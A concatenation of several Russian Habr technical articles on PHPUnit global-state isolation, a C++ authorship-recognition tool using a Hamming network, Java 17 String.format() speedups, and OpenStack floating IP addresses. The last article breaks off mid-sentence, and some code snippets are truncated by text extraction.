Вы получите значительно лучший результат, если сначала решите эту скрытую проблему, а только потом напишите тесты, используя заглушки (stubs) (см. [Глава 11](http://www.phpunit.de/manual/3.4/en/test-doubles.html "Глава 11. Тестовые двойники")). Это намного лучше, чем создание зависимостей между тестами и игнорирование возможности улучшить архитектуру.
Глобальное состояние
--------------------
[Очень трудно тестировать код, который использует паттерн singleton](http://googletesting.blogspot.com/2008/05/tott-using-dependancy-injection-to.html) *(В приложении создается только один экземпляр класса. Таким образом реализуется функционал глобальных переменных. Прим. переводчика)*.
Это утверждение справедливо и для случаев применения глобальных переменных. Часто, код, который Вы хотите протестировать сильно связан с глобальными переменными, создание которых Вы не можете контролировать.
Другая проблема заключается в том, что один тест может изменить значение глобальной переменной, из-за чего сломается другой тест.
В PHP, гобальные переменные работают так:
* Глобальная переменная `$foo = 'bar';` сохраняется как `$GLOBALS['foo'] = 'bar';`.
* Переменная `$GLOBALS` по другому называется *суперглобальная*.
* Суперглобальные переменные — это встроенные переменные, которые доступны во всех модулях приложения.
* В пределах функции или метода Вы можете получить доступ к глобальной переменной `$foo` или используя прямой доступ
`$GLOBALS['foo']`, или применив ключевое слово `global $foo;` для создания локальной переменной, которая будет связана с глобальной.
Кроме глобальных переменных к глобальным состояниям относятся еще и атрибуты классов.
По умолчанию, PHPUnit выполняет Ваши тесты таким образом, что изменение глобальных и суперглобальных переменных (`$GLOBALS`, `$_ENV`, `$_POST`, `$_GET`, `$_COOKIE`, `$_SERVER`, `$_FILES`, `$_REQUEST`) не влияет на другие тесты. Дополнительно, эта изоляция может быть расширена и на статические атрибуты классов.
### Примечание
Применение операций резервного хранения и восстановления статических атрибутов классов требует PHP 5.3 (или выше).
Операции резервного хранения и восстановления глобальных переменных и статических атрибутов классов используют функции `serialize()` и `unserialize()`.
Объекты некоторых классов, которые входят в состав PHP, например `PDO`, не могут быть сохранены и восстановлены.
Попытка сохранить подобный объект в массив `$GLOBALS` завершится с ошибкой.
Операциями сохранения и восстановления глобальных переменных можно управлять при помощи аннотации `@backupGlobals`, см. [раздел `@backupGlobals`](http://www.phpunit.de/manual/3.4/en/appendixes.annotations.html#appendixes.annotations.backupGlobals).
В качестве альтернативы, Вы можете составить список переменных, с которыми операции сохранения и восстановления не должны работать, см. код ниже:
```
class MyTest extends PHPUnit_Framework_TestCase
{
protected $backupGlobalsBlacklist = array('globalVariable');
// ...
}
```
### Примечание
Пожалуйста, учтите, что установка атрибута `$backupGlobalsBlacklist` внутри метода, например, `setUp()` не будет иметь эффект.
Операциями сохранения и восстановления статических атрибутов можно управлять при помощи аннотации `@backupStaticAttributes`, см. [раздел `@backupStaticAttributes`](http://www.phpunit.de/manual/3.4/en/appendixes.annotations.html#appendixes.annotations.backupStaticAttributes)
В качестве альтернативы, Вы можете составить список статических атрибутов, с которыми операции сохранения и восстановления не должны работать, см. код ниже:
```
class MyTest extends PHPUnit_Framework_TestCase
{
protected $backupStaticAttributesBlacklist = array(
'className' => array('attributeName')
);
// ...
}
```
### Примечание
Пожалуйста, учтите, что установка атрибута `$backupStaticAttributesBlacklist` внутри метода, например, `setUp()` не будет иметь эффект. | https://habr.com/ru/post/89581/ | null | ru | null |
# Текстовый анализатор: распознавание авторства (окончание)
Эта статья об алгоритме распознавания авторства, реализованном в проекте «Текстовый анализатор». В окончании статьи мы рассмотрим, как собираются частотные характеристики, и в общих чертах познакомимся с нейросистемой Хэмминга. ([Начало](http://habrahabr.ru/blogs/development/114186/) и [продолжение](http://habrahabr.ru/blogs/development/114187/)).
Структура статьи:
1. [Анализ авторства](#part1)
2. [Знакомство с кодом](#ref1)
3. [Внутренности TAuthoringAnalyser и хранение текстов](#ref2)
4. [Разбиение на уровни конечным автоматом на стратегиях](#ref3)
5. [Сбор частотных характеристик](#ref4)
6. [Нейросеть Хэмминга и анализ авторства](#ref5)
Дополнительные материалы:
* [Исходники](http://sourceforge.net/projects/textanalyzerv04/files/TextAnalyser%200.4%20alpha/) проекта «Текстовый анализатор» (Borland C++ Builder 6.0)
* Тестирование нейросистемы Хэмминга в Excel'е ([[xls]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Hamming%20neurosystem%20test.xls/download))
* Таблица переходов для КА, разбивающего текст на уровни ([[xls]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Finite%20State%20Machine.xls/download))
* Расчет благозвучия отдельных букв ([[xls]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Letters%20euphony.xls/download))
* Презентация дипломного проекта «Текстовый анализатор» ([[ppt]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Presentation%20of%20Granin%20Alexander_s%20diplomas.ppt/download))
* Презентация проекта «Карта благозвучия» ([[ppt]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Presentation%20of%20Granin%20Alexander_s%20Euphony%20map.ppt/download))
* Все эти материалы в сжатом виде ([[zip]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Materials.zip/download), [[7z]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Materials.7z/download), [[rar]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Materials.rar/download))
[##### 5. Сбор частотных характеристик](#ref4)
Наиболее полезны для распознавания авторства частотные характеристики отдельных символов, двух-, трёхбуквенных сочетаний, частотные таблицы слов и т.д. В этой программе реализовано только самое простое: подсчет частот символов. Конечно, для комплексного анализа этого недостаточно. Сейчас точность распознавания, надо признать, не очень высокая. Насколько помню, в тестах вероятность правильного ответа достигала 60-70 процентов, и то — в идеальных условиях. Разрабатывая программу, я надеялся когда-нибудь её переписать, добавив комплексный анализ авторства на основе многих методов. Кто знает, может, ещё и возьмусь…
Итак, сбор частотных характеристик символов. Класс TCharFrequencyCalculator ([[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/AuthoringAnalysis/DCharFrequencyCalculator.h?revision=1&view=markup)) составляет частотную таблицу, выполняя один проход по тексту. Шаблонный класс TFrequencyTable ([[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CFrequencyTable.h?revision=1&view=markup)) может хранить частотную таблицу для объектов любого типа.
> `Copy Source | Copy HTML1. class TCharFrequencyCalculator
> 2. {
> 3. private:
> 4.
> 5. TFrequencyTable<TChar> \_FTable;
> 6.
> 7. public:
> 8.
> 9. TFrequencyTable<TChar> & operator ()(TTextStringWrapper & tWrapper)
> 10. {
> 11. \_FTable << ftm\_Clear;
> 12.
> 13. TUInt i;
> 14. TTextStringWrapper d; // Эта переменная, видимо, просто мусор в коде...
> 15. for (i=tWrapper.Begin(); i<=tWrapper.End(); i++)
> 16. \_FTable << (tWrapper[i]);
> 17. return \_FTable;
> 18. };
> 19.
> 20. TFrequencyTable<TChar> & operator ()(const TTextString & tTextString)
> 21. {
> 22. \_FTable << ftm\_Clear;
> 23.
> 24. for (TSInt i=1; i<=tTextString.Length(); i++)
> 25. \_FTable << tTextString[i];
> 26. return \_FTable;
> 27. };
> 28.
> 29. TCharFrequencyCalculator(){};
> 30. };`
// Использование:
TCharFrequencyCalculator calculator;
TFrequencyTable charFrequencyTable = calculator(text);
Стоит обратить внимание на то, что функций, подсчитывающих частоты, аж две. Первая принимает TTextStringWrapper ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CTextStringWrapper.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CTextStringWrapper.h?revision=1&view=markup)) — класс-обёртку над текстовой строкой. «Обёртка» ещё известна как паттерн Адаптер (Adapter, Wrapper, [[1]](http://habrahabr.ru/blogs/complete_code/85095/), [[2]](http://sourcemaking.com/design_patterns/adapter), [[3]](http://ru.wikipedia.org/wiki/%D0%90%D0%B4%D0%B0%D0%BF%D1%82%D0%B5%D1%80_%28%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%29)). Он преобразует интерфейс одного класса в интерфейс другого. Можно было сделать по-настоящему универсальный калькулятор, но пришлось бы абстрагироваться от объектов, частоты которых мы подсчитываем. Калькулятора вообще не должно волновать, в каких списках, таблицах или массивах там хранятся данные, откуда берутся, сколько элементов, и в каком они порядке. Адаптированные под нужный калькулятору интерфейс, списки объектов обрабатывались бы единообразно… У вас не возникло ощущения дежа-вю? Правильно, мы это уже обсуждали, когда рассматривали менеджер конечного автомата. Там мы абстрагировались от списков событий с помощью паттерна «Итератор», а здесь — от списков элементов с помощью «Адаптер». Это его нетипичное применение, оно хуже, чем итераторы: нам бы пришлось наплодить иерархии адаптеров и частотных таблиц, чтобы их можно было оперативно заменять. В конце концов, адаптер перестал бы быть собой, а превратился в некий абстрактный контейнер. Примерно так бы это выглядело:
> `Copy Source | Copy HTML1. class TFrequencyCalculator
> 2. {
> 3. TFrequencyTable \* operator ()(TWrapper \* tWrapper, TFrequencyTable \*table)
> 4. {
> 5. table << ftm\_Clear;
> 6.
> 7. for (int i=tWrapper->Begin(); i<=tWrapper->End(); ++i)
> 8. table << (tWrapper->at(i));
> 9. return table;
> 10. };
> 11. }
> 12.
> 13. class TWordWrapper : public TWrapper
> 14. {
> 15. // ......
> 16. virtual int Begin() const;
> 17. virtual int End() const;
> 18. virtual Word at(const int &index) const;
> 19. // ......
> 20. };
> 21.
> 22. class TSentenceWrapper : public TWrapper {/\*......\*/};
> 23. class TWordsFrequencyTable : public TFrequencyTable {/\*......\*/};
> 24. class TSentenceFrequencyTable : public TFrequencyTable {/\*......\*/};
> 25.
> 26. // Использование:
> 27. TWordWrapper wordWrapper = TWordWrapper(wordsList)
> 28. TFrequencyCalculator wordCalc;
> 29. TWordsFrequencyTable wordFrequencyTable = wordCalc(&wordWrapper, &wordFrequencyTable);
> 30.
> 31. TSentenceWrapper sentenceWrapper = TSentenceWrapper(sentencesMap)
> 32. TFrequencyCalculator sentenceCalc;
> 33. TSentenceFrequencyTable sentenceFrequencyTable = sentenceCalc(&sentenceWrapper, &sentenceFrequencyTable);
> 34.`
[##### 6. Нейросеть Хэмминга и анализ авторства](#ref5)
Наконец, мы с вами, уставшие и побитые, добрались до самого последнего шага. Нейросеть Хэмминга ([[1]](http://habrahabr.ru/blogs/artificial_intelligence/90867/), [[2]](http://www.basegroup.ru/library/analysis/neural/assoc/)) берёт за основу набор бинарных векторов одинаковой длины. Они называются образцами и хранятся в матрице образцов. На вход нейросети подаётся тестируемый вектор той же длины. Количество входов равно размеру вектора; для данных большого объёма входов может быть очень много. Одно из преимуществ ИНС Хэмминга (перед ИНС Хопфилда) в том, что какой бы ни была размерность входного вектора, структура нейросети не поменяется. Слоёв — два, причём первый фиктивный; выходов и нейронов в каждом слое ровно столько, сколько образцов в матрице. Нейросеть работает быстро. Её задача — найти в матрице образцов вектор, который больше всего «похож» на входной. Похожесть определяется так называемым расстоянием Хэмминга. Чем меньше это расстояние, тем более «похожи» два вектора. Условно говоря, расстояние Хэмминга показывает, сколько битов в этих векторах не совпадает. Посчитать расстояние Хэмминга несложно, да и вся нейросеть — это лишь удобное представление нескольких простых формул. Вычислив какие-то значения, нейросеть сходится к результату: на выходах будет получен вектор со всеми нуликами, — исключая какой-нибудь один выход, где появится единица. Индекс этого выхода указывает на искомый образец в матрице образцов.
Чтобы загрузить в нейросеть (класс THamNeuroSystem: [[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/AuthoringAnalysis/CHamNeuroSystem.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/AuthoringAnalysis/CHamNeuroSystem.h?revision=1&view=markup)) образцы текстов, их нужно преобразовать к бинарному виду. Это делает шаблонный класс-коннектор (THamNSConnector: [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/AuthoringAnalysis/CHamNSConnector.h?revision=1&view=markup)). Забавно видеть код нейросети и коннектора: я понимаю, что это можно сделать гораздо, гораздо проще.
> `Copy Source | Copy HTML1. template <class T> void THamNSConnector<T>::ByteToBinaryVector(T DataItem, TSInt SizeOfData, TSampleVector \*DestinationVector)
> 2. {
> 3. vector <bool> BoolBits;
> 4. T NewDataItem = DataItem;
> 5.
> 6. for (TSInt i=1; i
> - {
>
> - BoolBits.clear();
>
> -
>
> - BoolBits.push\_back( NewDataItem & bitOne );
>
> - BoolBits.push\_back( NewDataItem & bitTwo );
>
> - BoolBits.push\_back( NewDataItem & bitThree );
>
> - BoolBits.push\_back( NewDataItem & bitFour );
>
> - BoolBits.push\_back( NewDataItem & bitFive );
>
> - BoolBits.push\_back( NewDataItem & bitSix );
>
> - BoolBits.push\_back( NewDataItem & bitSeven );
>
> - BoolBits.push\_back( NewDataItem & bitEight );
>
> -
>
> - for (TUInt j= 0; j
> - {
>
> - if (BoolBits[j]) DestinationVector->push\_back(1);
>
> - else DestinationVector->push\_back( 0);
>
> - }
>
> -
>
> - NewDataItem = NewDataItem >> 8;
>
> - };
>
> - };
>
> -
>
> - template <class T> TSampleVector THamNSConnector<T>::VectorToBinaryVector(TVector SourceVector)
>
> - {
>
> - TSInt SizeOfData;
>
> - T DataItem;
>
> - TUInt i;
>
> - TSampleVector ResVector;
>
> -
>
> - SizeOfData = sizeof(T);
>
> -
>
> - for (i= 0; i
> - {
>
> - DataItem = SourceVector[i];
>
> - ByteToBinaryVector(DataItem, SizeOfData, &ResVector);
>
> - };
>
> -
>
> - return ResVector;
>
> - };
>
> -`
На этом всё. Если не считать моих попыток улучшить нейросеть, больше рассказывать не о чем. Нейросеть возвращает индекс образца того текста, характеристики которого она считает более сходными с характеристиками текста неизвестного автора. Насколько правдив ответ, вы можете выяснить сами, скомпилировав программу. Меня на обширные тесты не хватило ни тогда, при написании диплома, ни сейчас. Надеюсь, статья была полезна.
С уважением. | https://habr.com/ru/post/114188/ | null | ru | null |
# String.format() в 3 раза быстрее в Java 17
***Аннотация:*** Одним из самых удобных способов построения сложных строк является `String.format()`. Раньше он был чрезмерно медленным, но в Java 17 стал примерно в 3 раза быстрее. В данном выпуске мы выясним, в чем разница и где это вам поможет. А также когда следует использовать `format()` вместо обычного сложения строк с помощью `+`.
Несколько лет назад мы с моим другом Дмитрием Вязеленко представили доклад на JavaOne, где около часа рассказывали о скромном `java.lang.String`. С тех пор мы рассказывали об этом основном классе на Devoxx, Geecon, Geekout, JAX, Voxxed Days, GOTO и различных JUG по всему миру. Кто бы мог подумать, что можно легко заполнить час разговором о `java.lang.String`?
Обычно я начинал выступление с викторины. Какой метод является самым быстрым при добавлении строк?
```
public class StringAppendingQuiz {
public String appendPlain(String question,
String answer1,
String answer2) {
return "" + question + "
================
1. " + answer1 +
"
2. " + answer2 + "
";
}
public String appendStringBuilder(String question,
String answer1,
String answer2) {
return new StringBuilder().append("").append(question)
.append("
==============================
1. ").append(answer1)
.append("
2. ").append(answer2)
.append("
").toString();
}
public String appendStringBuilderSize(String question,
String answer1,
String answer2) {
int len = 36 + question.length() + answer1.length() +
answer2.length();
return new StringBuilder(len).append("").append(question)
.append("
==============================
1. ").append(answer1)
.append("
2. ").append(answer2)
.append("
").toString();
}
}
```
Аудитории предлагается выбрать один из трех вариантов, `appendPlain`, `appendStringBuilder` и `appendStringBuilderSize`. Большинство разрывается между простой (plain) и увеличенной (sized) версией. Но это вопрос с подвохом. Для обычного случая, как сложение простых строк вместе, производительность эквивалентна, независимо от того, используем ли мы обычный + или `StringBuilder`, с предварительно заданным размером или без него. Однако все меняется, когда мы добавляем смешанные типы, например, некоторые **long** значения и строки. В этом случае `StringBuilder` с предварительным размером является самым быстрым до Java 8, а начиная с Java 9 и далее, самым быстрым является обычный `+`.
Для сравнения, мы показали, что использование `String.format` во много раз медленнее. Например, в Java 8 правильно подобранный `StringBuilder` с `append` (добавлением) выполнялся в 17 раз быстрее, чем аналогичный `String.format()`, в то время как в Java 11 обычный + был в 39 раз быстрее `format()`. Несмотря на такие огромные различия, наша рекомендация в конце выступления была следующей:
**Конкатенация с помощью String.format()**
* Проще для чтения и поддержки.
* Для критической производительности пока используйте +
* В циклах по-прежнему используйте `StringBuilder.append()`.
В некотором смысле это была трудная идея. Зачем программисту сознательно делать то, что в 40 раз медленнее?
Нюанс в том, что инженеры Oracle *знали*, что `String.format()` медленный и работали над его улучшением. Мы даже нашли версию Project Amber, которая компилировала код `format()` с той же скоростью, что и простой оператор `+`.
После выхода Java 17 я решил заново прогнать все наши предварительные бенчмарки. Сначала мне казалось, что это пустая трата времени. В конце концов, эталоны уже были сделаны. Зачем запускать их снова? Во-первых, машина, которую мы использовали изначально, уже была выведена из эксплуатации, а мне хотелось увидеть последовательные результаты на протяжении всего исследования, запустив все на своей машине для тестирования производительности. С другой стороны, я хотел посмотреть, были ли какие-либо изменения в JVM, которые могли бы повлиять на результаты. Я не предполагал, что последнее станет важным фактором.
Представьте себе мое удивление, когда я заметил, что функция `String.format()` радикально улучшилась. Вместо 2170 нс/оп в Java 11, теперь она стала выполняться "всего" за 705 нс/оп. Таким образом, вместо того, чтобы быть примерно в 40 раз медленнее, чем обычный `+`, `String.format()` оказался всего в 12 раз медленнее. Или, если посмотреть с другой точки зрения, Java 17 `String.format()` в 3 раза быстрее, чем в Java 16.
Замечательная новость, но при каких обстоятельствах это будет быстрее? Я поделился своим открытием с Дмитрием Вязеленко, и он указал мне на работу Claes Redestad в [JDK-8263038 : Оптимизация String.format для простых спецификаторов](https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8263038). Актуальный код доступен в [GitHub OpenJDK](https://github.com/openjdk/jdk/commit/f71b21b0e7f29c59de36fc013bfee7cda3815274).
Claes был достаточно любезен, ответив на мой запрос, и подтвердил, что мы можем ожидать более быстрого форматирования для простых спецификаторов. Другими словами, спецификаторы - это знак процента `%`, за которым следует всего одна буква в диапазоне "`bBcCtTfdgGhHaAxXno%eEsS`". Если добавляется дополнительное форматирование, например, ширина, точность или выравнивание, тогда, вероятно, это уже не будет быстрее.
Как работает данная чудесная функция? Каждый раз, когда мы вызываем, например, `String.format("%s, %d%n", name, age)`, необходимо сделать парсинг строки "`%s, %d%n`". Это делается в методе `java.util.Formatter#parse()`, который использует для парсинга элементов форматирования приведённое ниже регулярное выражение (regex):
```
// %[argument_index$][flags][width][.precision][t]conversion
private static final String formatSpecifier
= "%(\\d+\\$)?([-#+ 0,(\\<]*)?(\\d+)?(\\.\\d+)?([tT])?([a-zA-Z%])";
private static final Pattern fsPattern = Pattern.compile(formatSpecifier);
```
В коде до версии 17 функция `parse()` *всегда* начиналась с применения регекса к строке формата (format String). Однако в Java 17 вместо этого мы пытаемся выполнить парсинг строки формата вручную. Если все FormatSpecifiers "простые", то можно обойтись без повторного парсинга. Когда один из них не простой, то парсинг выполняется с этого момента. Это ускоряет парсинг в 3 раза для простых строк формата. Вот тестовая программа, в которой я выполняю парсинг следующих строк:
```
// should be faster
"1. this does not have any percentages at all"
// should be faster
"2. this %s has only a simple field"
// might be slower
"3. this has a simple field %s and then a complex %-20s"
// no idea
"4. %s %1s %2s %3s %4s %5s %10s %22s"
```
Мы передаем эти строки приватному методу Formatter#parse с помощью MethodHandles и измеряем, сколько времени это занимает в Java 16 и 17.
С Java 16 мы получили следующие результаты на нашем тестовом сервере:
```
Best results:
1. this does not have any percentages at all
137ms
2. this %s has only a simple field
288ms
3. this has a simple field %s and then a complex %-20s
487ms
4. %s %1s %2s %3s %4s %5s %10s %22s
1557ms
```
Результаты, полученные с Java 17:
```
Best results:
1. this does not have any percentages at all
21ms // 6.5x faster
2. this %s has only a simple field
32ms // 9x faster
3. this has a simple field %s and then a complex %-20s
235ms // 2x faster
4. %s %1s %2s %3s %4s %5s %10s %22s
1388ms // 1.12x faster
```
Таким образом, можно рассчитывать на существенную разницу при работе со строками формата, имеющими простые поля, что составляет подавляющее большинство случаев. Спасибо Claes Redestad за усилия, приложенные к тому, чтобы сделать это быстрее. Я буду придерживаться своего совета использовать `String.format()`, или, еще лучше, относительно новый метод `formatted()`, и пусть разработчики JDK ускорят его для нас.
Вот тестовый код, на случай, если вы захотите попробовать сами. Мы используем следующие параметры JVM: `-showversion --add-opens java.base/java.util=ALL-UNNAMED -Xmx12g -Xms12g -XX:+UseParallelGC -XX:+AlwaysPreTouch-verbose:gc`
```
import java.lang.invoke.*;
import java.util.*;
import java.util.concurrent.*;
import java.util.concurrent.atomic.*;
// run with
// -showversion --add-opens java.base/java.util=ALL-UNNAMED
// -Xmx12g -Xms12g -XX:+UseParallelGC -XX:+AlwaysPreTouch
// -verbose:gc
public class MixedAppendParsePerformanceDemo {
private static final Map bestResults =
new ConcurrentSkipListMap<>();
public static void main(String... args) {
String[] formats = {
// should be faster
"1. this does not have any percentages at all",
// should be faster
"2. this %s has only a simple field",
// might be slower
"3. this has a simple field %s and then a complex %-20s",
// no idea
"4. %s %1s %2s %3s %4s %5s %10s %22s",
};
System.out.println("Warmup:");
run(formats, 5);
System.out.println();
bestResults.clear();
System.out.println("Run:");
run(formats, 10);
System.out.println();
System.out.println("Best results:");
bestResults.forEach((format, best) ->
System.out.printf("%s%n\t%dms%n", format,
best.longValue()));
}
private static void run(String[] formats, int runs) {
for (int i = 0; i < runs; i++) {
for (String format : formats) {
Formatter formatter = new Formatter();
test(formatter, format);
}
System.gc();
System.out.println();
}
}
private static void test(Formatter formatter, String format) {
System.out.println(format);
long time = System.nanoTime();
try {
for (int i = 0; i < 1\_000\_000; i++) {
parseMH.invoke(formatter, format);
}
} catch (Throwable throwable) {
throw new AssertionError(throwable);
} finally {
time = System.nanoTime() - time;
bestResults.computeIfAbsent(format, key ->
new LongAccumulator(Long::min, Long.MAX\_VALUE))
.accumulate(time / 1\_000\_000);
System.out.printf("\t%dms%n", (time / 1\_000\_000));
}
}
private static final MethodHandle parseMH;
static {
try {
parseMH = MethodHandles.privateLookupIn(Formatter.class,
MethodHandles.lookup())
.findVirtual(Formatter.class, "parse",
MethodType.methodType(List.class, String.class));
} catch (ReflectiveOperationException e) {
throw new Error(e);
}
}
}
```
Также существуют и другие хорошие способы повышения производительности в Java 17.
---
> Материал подготовлен в рамках курса [«Java Developer. Professional».](https://otus.pw/Biva/) Если вам интересно узнать подробнее о формате обучения и программе, познакомиться с преподавателем курса — приглашаем на день открытых дверей онлайн. Регистрация [**здесь.**](https://otus.pw/3jPG/)
>
> | https://habr.com/ru/post/592585/ | null | ru | null |
# Плавающие IP-адреса для организации сети в публичных и частных облаках OpenStack
***Автор: Piotr Siwczak***
Недавно я описал, как работает [VlanManager](http://habrahabr.ru/company/mirantis_openstack/blog/181354/) и как он обеспечивает масштабируемость сети и изолированность пользователей. Но до настоящего момента я говорил только о сетях с фиксированным IP-адресом, принадлежащих различным пользователям. И хотя по умолчанию экземплярам выделяются фиксированные IP-адреса, они не гарантируют немедленной доступности экземпляров из-за пределов сети (или из других ЦОД). Представьте себе следующий сценарий:
Вы запускаете небольшой веб-сайт с одним www-сервером, сервером базы данных, и брандмауэром, который выполняет трансляцию сетевых адресов (NAT) и фильтрацию трафика. Обычно вы применяете следующие настройки:
-Все серверы общаются внутри сети в рамках частного (немаршрутизируемого) сетевого диапазона (например, 192.168.0.0/24).
-Есть один публичный маршрутизируемый IP-диапазон, на котором виден www-сервер.
Вы делаете следующее:
-Присваиваете брандмауэру публичный IP-адрес.
-Создаете правило NAT на брандмауэре для маршрутизации трафика с публичного IP-адреса на частный IP-адрес www-сервера.
Фиксированные IP-адреса в OpenStack работают так же, как и сетевой диапазон 192.168.0.0/24 в примере выше. Они гарантируют только взаимодействие между экземплярами внутри одного кластера OpenStack. Но OpenStack также вводит другой пул IP-адресов под названием “плавающие IP-адреса”. Плавающие IP-адреса — это публично маршрутизируемые IP-адреса, которые вы покупаете у провайдера интернет-услуг (того, который помещается в указанный выше брандмауэр). Пользователи могут назначать IP-адреса своим экземплярам, делая их доступными из внешней сети.
#### Различия между плавающими и фиксированными IP-адресами
Плавающие IP-адреса не назначаются виртуальным машинам по умолчанию. Пользователи облака должны явным образом “взять” их из пула, настроенного администратором OpenStack, а затем назначить их своим виртуальным машинам. Как только пользователь забрал плавающий IP-адрес из пула, он становится его “владельцем” (то есть в любой момент он может открепить IP-адрес от виртуальной машины и прикрепить его к другой). Если виртуальная машина по каким-то причинам прекращает существование, пользователь не теряет плавающий IP-адрес — он может его затем назначить другому экземпляру. К сожалению, сейчас невозможно совместно использовать один плавающий IP-адрес несколькими виртуальными машинами для балансировки нагрузки, как например с [эластичной балансировкой](http://aws.amazon.com/elasticloadbalancing/) нагрузки на Amazon EC2.
С другой стороны фиксированные IP-адреса назначаются динамически компонентом nova-network при загрузке ВМ. Нет возможности приказать OpenStack назначить конкретный фиксированный IP-адрес виртуальной машине. Таким образом, вы можете оказаться в ситуации, когда при случайном завершении работы виртуальной машины после её восстановления из снимка новый экземпляр загружается с новым фиксированным IP-адресом.
Системные администраторы могут настраивать несколько пулов плавающих IP-адресов. Тем не менее, в отличие от пулов фиксированных IP-адресов, пулы плавающих IP-адресов нельзя соотнести с конкретными пользователями. Каждый пользователь может “взять” плавающий IP-адрес из любого пула плавающих IP-адресов. Но основная мотивация для создания нескольких пулов плавающих IP-адресов в том, чтобы каждый пул обслуживал свой поставщик доступа в интернет. Таким образом, мы можем гарантировать возможность подключения, даже при сбое у одного из поставщиков.
В итоге основные функции плавающих IP-адресов следующие:
-Плавающие IP-адреса не назначаются виртуальным машинам автоматически по умолчанию (их необходимо назначать инстансам вручную).
-Если виртуальная машина прекращает свое существование, пользователь может повторно использовать плавающий IP-адрес, назначив его другому инстансу.
-Пользователи могут брать плавающие IP-адреса из различных пулов, определяемых администратором облака, чтобы обеспечить возможность подключения к виртуальным машинам разными поставщиками интернет-услуг или из внешних сетей.
#### Плавающие IP-адреса—внутренние или внешние облака
“Публичная доступность” плавающего IP-адреса – это относительное понятие. Для публичных облаков вы, возможно, захотите определить пул плавающих IP-адресов как пул IP-адресов, публично доступных из интернета. Затем ваши клиенты смогу назначать их виртуальным машинам, чтобы заходить в них через SSH со своих домашних или рабочих компьютеров:
Если в вашем ЦОД запущено корпоративное облако, то пул плавающих IP-адресов может быть любым диапазоном IP-адресов, который предоставляет доступ к инстансам OpenStack из остального ЦОД.
Для трафика своего ЦОД вы можете определить следующий диапазон: 10.0.0.0/16.
Внутри OpenStack вы можете создать следующий диапазон фиксированных IP-адресов: 192.168.0.0/16, разбитый на подсети пользователей.
Чтобы сделать экземпляры OpenStack доступными из всего ЦОД вы можете определить пул плавающих IP-адресов как подсеть 10.0.0.0/8, (например, 10.0.0.0/16) и зарегистрировать её в OpenStack, чтобы пользователи могли брать оттуда IP-адреса.
#### Работа с плавающими IP-адресами
Как я упомянул ранее, сначала системный администратор регистрирует пул плавающих IP-адресов в OpenStack:
`nova-manage floating create --ip_range=PUBLICLY_ROUTABLE_IP_RANGE --pool POOL_NAME`
Таким образом, публичный пул становится доступным пользователям.
Теперь пользователи следуют данной процедуре:
-Загрузить экземпляр:
+--------------------------------------+---------+--------+--------------------------------+
| ID | Name | Status | Networks |
+--------------------------------------+---------+--------+--------------------------------+
| 79935433-241a-4268-8aea-5570d74fcf42 | inst1 | ACTIVE | private=10.0.0.4 |
+--------------------------------------+---------+--------+--------------------------------+
-Перечислить доступные пулы плавающих IP-адресов:
nova floating-ip-pool-list
+------+
| name |
+------+
| pub |
| test |
+------+
-Взять плавающий IP-адрес из пула “pub” (или при желании из пула “test”):
nova floating-ip-create pub
+---------------+-------------+----------+------+
| Ip | Instance Id | Fixed Ip | Pool |
+---------------+-------------+----------+------+
| 172.24.4.225 | None | None | pub |
+---------------+-------------+----------+------+
-Назначить плавающий IP-адрес экземпляру:
`nova add-floating-ip 79935433-241a-4268-8aea-5570d74fcf42 172.24.4.225`
(где первый аргумент — это uuid экземпляра, а второй – сам плавающий IP-адрес)
-Проверить правильность всех настроек:
nova floating-ip-list
+--------------+--------------------------------------+----------+------+
| Ip | Instance Id | Fixed Ip | Pool |
+--------------+--------------------------------------+----------+------+
| 172.24.4.225 | 79935433-241a-4268-8aea-5570d74fcf42 | 10.0.0.4 | pub |
+--------------+--------------------------------------+----------+------+
Теперь экземпляр должен быть виден из-за пределов кластера OpenStack по плавающему IP-адресу.
#### Как работают плавающие IP-адреса
Что происходит внутри экземпляра после добавления плавающего IP-адреса? Правильный ответ – ничего. Если вы подключитесь к нему по SSH и посмотрите конфигурацию сети, вы увидите, что существует один интерфейс сети с настроенным фиксированным IP-адресом.
Вся настройка выполняется на вычислительном узле. Вся работа, связанная с плавающим IP-адресом, выполняется сервисом nova-network: организуется транслятор сетевых адресов (NAT) между фиксированным и плавающим IP-адресами экземпляра. Объяснение, как работает NAT, можно найти [тут](http://en.wikipedia.org/wiki/Network_address_translation).
Взгляните на следующую диаграмму:
Схема отображает один вычислительный узел, настроенный в режиме сети c распределением узлов и VlanManager, используемый для настраивания фиксированных IP-сетей. Вычислительный узел оснащен двумя сетевыми интерфейсами: интерфейс eth0 выделен для трафика с фиксированным IP/VLAN, а eth1 – это интерфейс, по которому вычислительный узел подключается к внешней сети; в нем располагаются плавающие IP-адреса. (Информацию о том, как VlanManager настраивает фиксированные IP-сети см. в [предыдущей статье](http://habrahabr.ru/company/mirantis_openstack/blog/181354/))
Примите во внимание, что в то время как на интерфейсе eth0 (фиксированном/частном) не настроен адрес, интерфейсу eth1 назначен IP-адрес, который является шлюзом по умолчанию для вычислительного узла (91.207.15.105).
Когда пользователь назначает плавающий IP-адрес (91.207.16.144) инстансу VM\_1, происходят две вещи:
